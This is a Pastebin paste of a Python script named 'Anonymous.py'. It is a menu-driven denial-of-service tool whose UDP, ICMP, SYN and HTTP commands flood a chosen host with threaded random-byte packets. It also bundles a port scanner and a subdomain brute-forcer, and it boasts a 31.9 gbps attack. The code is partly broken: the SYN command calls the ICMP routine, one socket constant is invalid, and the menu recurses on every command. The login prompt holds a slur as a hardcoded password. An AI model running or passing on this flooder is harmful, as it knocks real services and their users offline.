Advertisement
lllANONYMOUSlll

Anonymous.py

Jan 3rd, 2021
416
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 20.72 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. #-*- coding: utf-8 -*-
  3. import sys
  4. import socket
  5. import time
  6. import random
  7. import threading
  8. import getpass
  9. import os
  10.  
  11. sys.stdout.write("\x1b]2;A N O N Y M O U S |ANON| D E M O N S\x07")
  12. def modifications():
  13.     print ("Contact Misfortune or Reaper the script is currently under maitnance")
  14.     on_enter = input("Please press enter to leave")
  15.     exit()
  16. #column:65
  17. method = """\033[91m
  18.  ╔════════════════════════════════════════════════════════════╗      
  19.  ║                             \033[00mDDoS    \033[91m                       ║
  20. ╔═╝════════════════════════════════════════════════════════════╚═╗        
  21. \033[00mUDP  \033[91m<\033[00mHOST\033[91m> <\033[00mPORT\033[91m> <\033[00mTIMEOUT\033[91m> <\033[00mSIZE\033[91m>    | \033[00mUDP ATTACK        \033[91m    ║      
  22. \033[00mICMP \033[91m<\033[00mHOST\033[91m> <\033[00mPORT\033[91m> <\033[00mTIMEOUT\033[91m> <\033[00mSIZE\033[91m>    | \033[00mICMP ATTACK       \033[91m    ║        
  23. \033[00mSYN  \033[91m<\033[00mHOST\033[91m> <\033[00mPORT\033[91m> <\033[00mTIMEOUT\033[91m> <\033[00mSIZE\033[91m>    | \033[00mSYN ATTACK       \033[91m     ║
  24. \033[00mHTTP  \033[91m<\033[00mHOST\033[91m> <\033[00mPORT\033[91m> <\033[00mTIMEOUT\033[91m> <\033[00mSIZE\033[91m>   | \033[00mHTTP ATTACK     \033[91m      ║
  25. ╚═╗════════════════════════════════════════════════════════════╔═╝      
  26.  ║                            \033[00mMETHODS \033[91m                        ║
  27.  ╚════════════════════════════════════════════════════════════╝\033[00m
  28. """
  29.  
  30. info = """
  31. [\033[91mA N O N\033[00m] \033[91mMade By reaper, most credit goes to a freind of mines whom taught me python
  32. Most/Everything im available to do today is mainly for that freind kicking me into it so big thanks.
  33. Bigest attack: 31.9 gbps
  34. """
  35.  
  36. version = "3.2"
  37.  
  38. help = """\033[91m
  39.  ╔═══════════════════════════════════════╗      
  40.  ║                 \033[00mHELP \033[91m                 ║
  41. ╔═╝═══════════════════════════════════════╚═╗        
  42. \033[00m Clear          \033[91m | \033[00mCLEAR SCREEN         \033[91m   ║      
  43. \033[00m Exit           \033[91m | \033[00mEXIT SINFULL         \033[91m   ║        
  44. \033[00m Methods        \033[91m | \033[00mSINS METHODS         \033[91m   ║
  45. \033[00m Tools          \033[91m | \033[00mBASIC TOOLS          \033[91m   ║
  46. \033[00m Updates        \033[91m | \033[00mDISPLAY UPDATE NOTES \033[91m   ║
  47. \033[00m Info           \033[91m | \033[00mDISPLAY SINFULLS INFO \033[91m  ║
  48. ╚═╗═══════════════════════════════════════╔═╝      
  49.  ║              \033[00m COMMANDS  \033[91m              ║
  50.  ╚═══════════════════════════════════════╝\033[00m
  51. """
  52.  
  53. tools = """\033[91m
  54.  ╔════════════════════════════════════════════════╗      
  55.  ║                     \033[00mTOOLS \033[91m                     ║
  56. ╔═╝════════════════════════════════════════════════╚═╗        
  57. \033[00mStopattacks             \033[91m| \033[00mSTOP ALL ATTACKS         \033[91m║      
  58. \033[00mAttacks                 \033[91m| \033[00mRUNNING ATTACKS          \033[91m║        
  59. \033[00mPing <HOST>             \033[91m| \033[00mPING A HOST              \033[91m║
  60. \033[00mResolve <HOST>          \033[91m| \033[00mGRAB A DOMIANS IP        \033[91m║
  61. \033[00mPortscan <HOST> <RANGE> \033[91m| \033[00mPORTSCAN A HOST          \033[91m║
  62. \033[00mDnsresolve <HOST>       \033[91m| \033[00mGRAB ALL SUB-DOMAINS     \033[91m║
  63. \033[00mStats                   \033[91m| \033[00mDISPLAY SINFULL STATS    \033[91m║
  64. ╚═╗════════════════════════════════════════════════╔═╝      
  65.  ║                   \033[00mCOMMANDS                     \033[91m║
  66.  ╚════════════════════════════════════════════════╝\033[00m
  67. """
  68.  
  69. updatenotes = """\033[91m
  70.  ╔════════════════════════════════════════════════╗      
  71.  ║                     \033[00mUPDATE \033[91m                    ║
  72. ╔═╝════════════════════════════════════════════════╚═╗        
  73. \033[91m> \033[00mBetter ascii menu                              \033[91m  ║      
  74. \033[91m> \033[00mUpdated command casing no longer only capital  \033[91m  ║        
  75. \033[91m> \033[00mUpdated attack methods                         \033[91m  ║
  76. \033[91m> \033[00mTimeout bug fixed                              \033[91m  ║
  77. \033[91m> \033[00mBackground attacks                             \033[91m  ║
  78. \033[91m> \033[00mRunning task displayer                         \033[91m  ║
  79. \033[91m> \033[00mAll tools fixed and working                    \033[91m  ║
  80. ╚═╗════════════════════════════════════════════════╔═╝      
  81.  ║                     \033[00m NOTES              \033[91m       ║
  82.  ╚════════════════════════════════════════════════╝\033[00m
  83.  
  84. """
  85. statz = """
  86.  
  87. ║              \033[00mSTATS\033[91m                     ║
  88.  
  89. \033[00m- Attacks: \033[91m{}                                        
  90. \033[00m- Found Domains: \033[91m{}                                  
  91. \033[00m- PINGS: \033[91m{}                                          
  92. \033[00m- PORTSCANS: \033[91m{}                                      
  93. \033[00m- GRABBED IPS: \033[91m{}                                
  94. ╚══════════════════════════════════════════════════════╝\033[00m"""
  95. banner = """\033[1;00m
  96. \033[91m █████\033[00m╗ \033[91m███\033[00m╗   \033[91m██\033[00m╗ \033[91m██████\033[00m╗ \033[91m███\033[00m╗   \033[91m██\033[00m╗\033[91m██\033[00m╗   \033[91m██\033[00m╗\033[91m███\033[00m╗  \033[91m ███\033[00m╗ \033[91m██████\033[00m╗ \033[91m██\033[00m╗  \033[91m ██\033[00m╗\033[91m███████\033[00m╗
  97. \033[91m██\033[00m╔══\033[91m██\033[00m╗\033[91m████\033[00m╗  \033[91m██\033[00m║\033[91m██\033[00m╔═══\033[91m██\033[00m╗\033[91m████\033[00m╗  \033[91m██\033[00m║╚\033[91m██\033[00m╗ \033[91m██\033[00m╔╝\033[91m████\033[00m╗ \033[91m████\033[00m║\033[91m██\033[00m╔═══\033[91m██\033[00m╗\033[91m██\033[00m║   \033[91m██\033[00m║\033[91m██\033[00m╔════╝
  98. \033[91m███████\033[00m║\033[91m██\033[00m╔\033[91m██\033[00m╗ \033[91m██\033[00m║\033[91m██\033[00m║   \033[91m██\033[00m║\033[91m██\033[00m╔\033[91m██\033[00m╗\033[91m ██\033[00m║ ╚\033[91m████\033[00m╔╝\033[91m ██\033[00m╔\033[91m████\033[00m╔\033[91m██\033[00m║\033[91m██\033[00m║   \033[91m██\033[00m║\033[91m██\033[00m║   \033[91m██\033[00m║\033[91m███████\033[00m╗
  99. \033[91m██\033[00m╔══\033[91m██\033[00m║\033[91m██\033[00m║╚\033[91m██\033[00m╗\033[91m██\033[00m║\033[91m██\033[00m║   \033[91m██\033[00m║\033[91m██\033[00m║╚\033[91m██\033[00m╗\033[91m██\033[00m║  ╚\033[91m██\033[00m╔╝ \033[91m ██\033[00m║╚\033[91m██\033[00m╔╝\033[91m██\033[00m║\033[91m██\033[00m║   \033[91m██\033[00m║\033[91m██\033[00m║   \033[91m██\033[00m║╚════\033[91m██\033[00m║
  100. \033[91m██\033[00m║  \033[91m██\033[00m║\033[91m██\033[00m║ ╚\033[91m████\033[00m║╚\033[91m██████\033[00m╔╝\033[91m██\033[00m║ ╚\033[91m████\033[00m║   \033[91m██\033[00m║   \033[91m██\033[00m║ ╚═╝ \033[91m██\033[00m║╚\033[91m██████\033[00m╔╝╚\033[91m██████\033[00m╔╝\033[91m███████\033[00m║
  101. \033[00m╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚═╝     ╚═╝ ╚═════╝  ╚═════╝ ╚══════╝
  102. \033[1;91m                                                                      匿名
  103. """
  104.  
  105. altbanner = """
  106.                   Angels go to heaven
  107.                Demons meet the gates of hell
  108.               Sinfull people are punished put in hell
  109.                      A N O N Y M O U S
  110. """
  111.  
  112. cookie = open(".ANONYMOUS_cookie","w+")
  113.  
  114. fsubs = 0
  115. tpings = 0
  116. pscans = 0
  117. liips = 0
  118. tattacks = 0
  119. uaid = 0
  120. said = 0
  121. iaid = 0
  122. haid = 0
  123. aid = 0
  124. attack = True
  125. http = True
  126. udp = True
  127. syn = True
  128. icmp = True
  129.  
  130.  
  131. def synsender(host, port, timer, punch):
  132.     global said
  133.     global syn
  134.     global aid
  135.     global tattacks
  136.     timeout = time.time() + float(timer)
  137.     sock = socket.socket (socket.AF_INET, socket.SOCK_RAW, socket.TCP_SYNCNT)
  138.  
  139.     said += 1
  140.     tattacks += 1
  141.     aid += 1
  142.     while time.time() < timeout and syn and attack:
  143.         sock.sendto(punch, (host, int(port)))
  144.     said -= 1
  145.     aid -= 1
  146.  
  147. def udpsender(host, port, timer, punch):
  148.     global uaid
  149.     global udp
  150.     global aid
  151.     global tattacks
  152.  
  153.     timeout = time.time() + float(timer)
  154.     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  155.    
  156.     uaid += 1
  157.     aid += 1
  158.     tattacks += 1
  159.     while time.time() < timeout and udp and attack:
  160.         sock.sendto(punch, (host, int(port)))
  161.     uaid -= 1
  162.     aid -= 1
  163.  
  164. def icmpsender(host, port, timer, punch):
  165.     global iaid
  166.     global icmp
  167.     global aid
  168.     global tattacks
  169.  
  170.     timeout = time.time() + float(timer)
  171.     sock = socket.socket(socket.AF_INET, socket.IPPROTO_IGMP)
  172.  
  173.     iaid += 1
  174.     aid += 1
  175.     tattacks += 1
  176.     while time.time() < timeout and icmp and attack:
  177.         sock.sendto(punch, (host, int(port)))
  178.     iaid -= 1
  179.     aid -= 1
  180.  
  181. def httpsender(host, port, timer, punch):
  182.     global haid
  183.     global http
  184.     global aid
  185.     global tattacks
  186.  
  187.     timeout = time.time() + float(timer)
  188.  
  189.     haid += 1
  190.     aid += 1
  191.     tattacks += 1
  192.     while time.time() < timeout and icmp and attack:
  193.         try:
  194.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  195.             sock.sendto(punch, (host, int(port)))
  196.             sock.close()
  197.         except socket.error:
  198.             pass
  199.  
  200.     haid -= 1
  201.     aid -= 1
  202.  
  203.  
  204. def main():
  205.     global fsubs
  206.     global tpings
  207.     global pscans
  208.     global liips
  209.     global tattacks
  210.     global uaid
  211.     global said
  212.     global iaid
  213.     global haid
  214.     global aid
  215.     global attack
  216.     global dp
  217.     global syn
  218.     global icmp
  219.     global http
  220.  
  221.     while True:
  222.         sys.stdout.write("\x1b]2;A N O N Y M O U S\x07")
  223.         sin = input("\033[1;00m[\033[91mA N O N Y M O U S\033[1;00m]-\033[91m家\033[00m ").lower()
  224.         sinput = sin.split(" ")[0]
  225.         if sinput == "clear":
  226.             os.system ("clear")
  227.             print (altbanner)
  228.             main()
  229.         elif sinput == "help":
  230.             print (help)
  231.             main()
  232.         elif sinput == "":
  233.             main()
  234.         elif sinput == "exit":
  235.             exit()
  236.         elif sinput == "version":
  237.             print ("ANONYMOUS version: "+version+" ")
  238.         elif sinput == "stats":
  239.             print ("\033[00m- Attacks: \033[91m{}                                        ".format (tattacks))
  240.             print ("\033[00m- Found Domains: \033[91m{}                                  ".format(fsubs))
  241.             print ("\033[00m- PINGS: \033[91m{}                                          ".format(tpings))
  242.             print ("\033[00m- PORTSCANS: \033[91m{}                                      ".format(pscans))
  243.             print ("\033[00m- GRABBED IPS: \033[91m{}\n                                    ".format(liips))
  244.             main()
  245.         elif sinput == "methods":
  246.             print (method)
  247.             main()
  248.         elif sinput == "tools":
  249.             print (tools)
  250.             main()
  251.         elif sinput == "portscan":
  252.             port_range = int(sin.split(" ")[2])
  253.             pscans += 1
  254.             def scan(port, ip):
  255.                 try:
  256.                     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  257.                     sock.connect((ip, port))
  258.                     print ("[\033[91mA N O N\033[00m] {}\033[91m:\033[00m{} [\033[91mOPEN\033[00m]".format (ip, port))
  259.                     sock.close()
  260.                 except socket.error:
  261.                     return
  262.                 except KeyboardInterrupt:
  263.                     print ("\n")
  264.             for port in range(1, port_range+1):
  265.                 ip = socket.gethostbyname(sin.split(" ")[1])
  266.                 threading.Thread(target=scan, args=(port, ip)).start()
  267.         elif sinput == "updates":
  268.             print (updatenotes)
  269.             main()
  270.         elif sinput == "info":
  271.             print (info)
  272.             main()
  273.         elif sinput == "attacks":
  274.             print ("\n[\033[91mA N O N\033[00m] UPD Running processes: {}".format (uaid))
  275.             print ("[\033[91mA N O N\033[00m] ICMP Running processes: {}".format (iaid))
  276.             print ("[\033[91mA N O N\033[00m] SYN Running processes: {}".format (said))
  277.             print ("[\033[91mA N O N\033[00m] Total attacks running: {}\n".format (aid))
  278.             main()
  279.         elif sinput == "dnsresolve":
  280.             sfound = 0
  281.             sys.stdout.write("\x1b]2;A N O N Y M O U S |{}| F O U N D\x07".format (sfound))
  282.             try:
  283.                 host = sin.split(" ")[1]
  284.                 with open(r"/usr/share/sinfull/subnames.txt", "r") as sub:
  285.                     domains = sub.readlines()  
  286.                 for link in domains:
  287.                     try:
  288.                         url = link.strip() + "." + host
  289.                         subips = socket.gethostbyname(url)
  290.                         print ("[\033[91mA N O N\033[00m] Domain: https://{} \033[91m>\033[00m Converted: {} [\033[91mEXISTANT\033[00m]".format(url, subips))
  291.                         sfound += 1
  292.                         fsubs += 1
  293.                         sys.stdout.write("\x1b]2;AN O N Y M O U S |{}| F O U N D\x07".format (sfound))
  294.                     except socket.error:
  295.                         pass
  296.                         #print ("[\033[91mA N O N\033[00m] Domain: {} [\033[91mNON-EXISTANT\033[00m]".format(url))
  297.                 print ("[\033[91mA N O N\033[00m] Task complete | found: {}".format(sfound))
  298.                 main()
  299.             except IndexError:
  300.                 print ('ADD THE HOST!')
  301.         elif sinput == "resolve":
  302.             liips += 1
  303.             host = sin.split(" ")[1]
  304.             host_ip = socket.gethostbyname(host)
  305.             print ("[\033[91mA N O N\033[00m] Host: {} \033[00m[\033[91mConverted\033[00m] {}".format (host, host_ip))
  306.             main()
  307.         elif sinput == "ping":
  308.             tpings += 1
  309.             try:
  310.                 sinput, host, port = sin.split(" ")
  311.                 print ("[\033[91mA N O N\033[00m] Starting ping on host: {}".format (host))
  312.                 try:
  313.                     ip = socket.gethostbyname(host)
  314.                 except socket.gaierror:
  315.                     print ("[\033[91mA N O N\033[00m] Host un-resolvable")
  316.                     main()
  317.                 while True:
  318.                     try:
  319.                         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  320.                         sock.settimeout(2)
  321.                         start = time.time() * 1000
  322.                         sock.connect ((host, int(port)))
  323.                         stop = int(time.time() * 1000 - start)
  324.                         sys.stdout.write("\x1b]2;A N O N Y M O U S |{}ms| D E M O N S\x07".format (stop))
  325.                         print ("ANONYMOUS: {}:{} | Time: {}ms [\033[91mUP\033[00m]".format(ip, port, stop))
  326.                         sock.close()
  327.                         time.sleep(1)
  328.                     except socket.error:
  329.                         sys.stdout.write("\x1b]2;A N O N Y M O U S |TIME OUT| D E M O N S\x07")
  330.                         print ("ANONYMOUS: {}:{} [\033[91mDOWN\033[00m]".format(ip, port))
  331.                         time.sleep(1)
  332.                     except KeyboardInterrupt:
  333.                         print("")
  334.                         main()
  335.             except ValueError:
  336.                 print ("[\033[91mA N O N\033[00m] The command {} requires an argument".format (sinput))
  337.                 main()
  338.         elif sinput == "udp":
  339.             if username == "guests":
  340.                 print ("[\033[91mA N O N\033[00m] You are not allowed to use this method")
  341.                 main()
  342.             else:
  343.                 try:
  344.                     sinput, host, port, timer, pack = sin.split(" ")
  345.                     socket.gethostbyname(host)
  346.                     print ("Attack sent to: {}".format (host))
  347.                     punch = random._urandom(int(pack))
  348.                     threading.Thread(target=udpsender, args=(host, port, timer, punch)).start()
  349.                 except ValueError:
  350.                     print ("[\033[91mA N O N\033[00m] The command {} requires an argument".format (sinput))
  351.                     main()
  352.                 except socket.gaierror:
  353.                     print ("[\033[91mA N O N\033[00m] Host: {} invalid".format (host))
  354.                     main()
  355.         elif sinput == "http":
  356.             try:
  357.                 sinput, host, port, timer, pack = sin.split(" ")
  358.                 socket.gethostbyname(host)
  359.                 print ("Attack sent to: {}".format (host))
  360.                 punch = random._urandom(int(pack))
  361.                 threading.Thread(target=httpsender, args=(host, port, timer, punch)).start()
  362.             except ValueError:
  363.                 print ("[\033[91mA N O N\033[00m] The command {} requires an argument".format (sinput))
  364.                 main()
  365.             except socket.gaierror:
  366.                 print ("[\033[91mA N O N\033[00m] Host: {} invalid".format (host))
  367.                 main()
  368.         elif sinput == "icmp":
  369.             if username == "guests":
  370.                 print ("[\033[91mA N O N\033[00m] You are not allowed to use this method")
  371.                 main()
  372.             else:
  373.                 try:
  374.                     sinput, host, port, timer, pack = sin.split(" ")
  375.                     socket.gethostbyname(host)
  376.                     print ("Attack sent to: {}".format (host))
  377.                     punch = random._urandom(int(pack))
  378.                     threading.Thread(target=icmpsender, args=(host, port, timer, punch)).start()
  379.                 except ValueError:
  380.                     print ("[\033[91mA N O N\033[00m] The command {} requires an argument".format (sinput))
  381.                     main()
  382.                 except socket.gaierror:
  383.                     print ("[\033[91mA N O N\033[00m] Host: {} invalid".format (host))
  384.                     main()
  385.         elif sinput == "syn":
  386.             try:
  387.                 sinput, host, port, timer, pack = sin.split(" ")
  388.                 socket.gethostbyname(host)
  389.                 print ("Attack sent to: {}".format (host))
  390.                 punch = random._urandom(int(pack))
  391.                 threading.Thread(target=icmpsender, args=(host, port, timer, punch)).start()
  392.             except ValueError:
  393.                 print ("[\033[91mA N O N\033[00m] The command {} requires an argument".format (sinput))
  394.                 main()
  395.             except socket.gaierror:
  396.                 print ("[\033[91mA N O N\033[00m] Host: {} invalid".format (host))
  397.                 main()
  398.         elif sinput == "stopattacks":
  399.             attack = False
  400.             while not attack:
  401.                 if aid == 0:
  402.                     attack = True
  403.         elif sinput == "stop":
  404.             what = sin.split(" ")[1]
  405.             if what == "udp":
  406.                 print ("Stoping all udp attacks")
  407.                 udp = False
  408.                 while not udp:
  409.                     if aid == 0:
  410.                         print ("[\033[91mA N O N\033[00m] No udp Processes running.")
  411.                         udp = True
  412.                         main()
  413.             if what == "icmp":
  414.                 print ("Stopping all icmp attacks")
  415.                 icmp = False
  416.                 while not icmp:
  417.                     print ("[\033[91mA N O N\033[00m] No ICMP processes running")
  418.                     udp = True
  419.                     main()
  420.         else:
  421.             print ("[\033[91mA N O N\033[00m] {} Command NotFound".format(sinput))
  422.             main()
  423.  
  424.  
  425.  
  426. try:
  427.     users = ["anon", "guests"]
  428.     clear = "clear"
  429.     os.system (clear)
  430.     username = getpass.getpass ("ツ \033[91m❤ \033[00mThe Username Is (\033[91manon\033[00m)\033[00m-\033[91m频\033[00m ")
  431.     if username in users:
  432.         user = username
  433.     else:
  434.         print ("ツ \033[91mIncorrect\033[00m, \033[91mExiting Script\033[00m...")
  435.         exit()
  436. except KeyboardInterrupt:
  437.     print ("\nCTRL-C Pressed")
  438.     exit()
  439. try:
  440.     passwords = ["skid", "gayman"]
  441.     password = getpass.getpass ("ツ \033[91m❤ \033[00mThe Password Is (\033[91mskid\033[00m)\033[00m-\033[91m频\033[00m ")
  442.     if user == "anon":
  443.         if password == passwords[0]:
  444.             print ("ツ \033[91m❤ \033[00m Login Successful")
  445.             cookie.write("DIE")
  446.             time.sleep(2)
  447.             os.system (clear)
  448.             try:
  449.                 os.system ("clear")
  450.                 print (banner)
  451.                 main()
  452.             except KeyboardInterrupt:
  453.                 print ("\n[\033[91mA N O N\033[00m] CTRL has been pressed")
  454.                 main()
  455.         else:
  456.             print ("ツ \033[91mIncorrect\033[00m, \033[91mExiting Script\033[00m...")
  457.             exit()
  458.     if user == "guests":
  459.         if password == passwords[1]:
  460.             print ("ツ \033[91m❤ \033[00m Login Successful")
  461.             print ("ツ \033[91m❤ \033[00m Certain methods will not be available to you")
  462.             time.sleep(4)
  463.             os.system (clear)
  464.             try:
  465.                 os.system ("clear")
  466.                 print (banner)
  467.                 main()
  468.             except KeyboardInterrupt:
  469.                 print ("\n[\033[91mA N O N\033[00m] CTRL has been pressed")
  470.                 main()
  471.         else:
  472.             print ("ツ \033[91mIncorrect\033[00m, \033[91mExiting Script\033[00m...")
  473.             exit()
  474. except KeyboardInterrupt:
  475.     exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement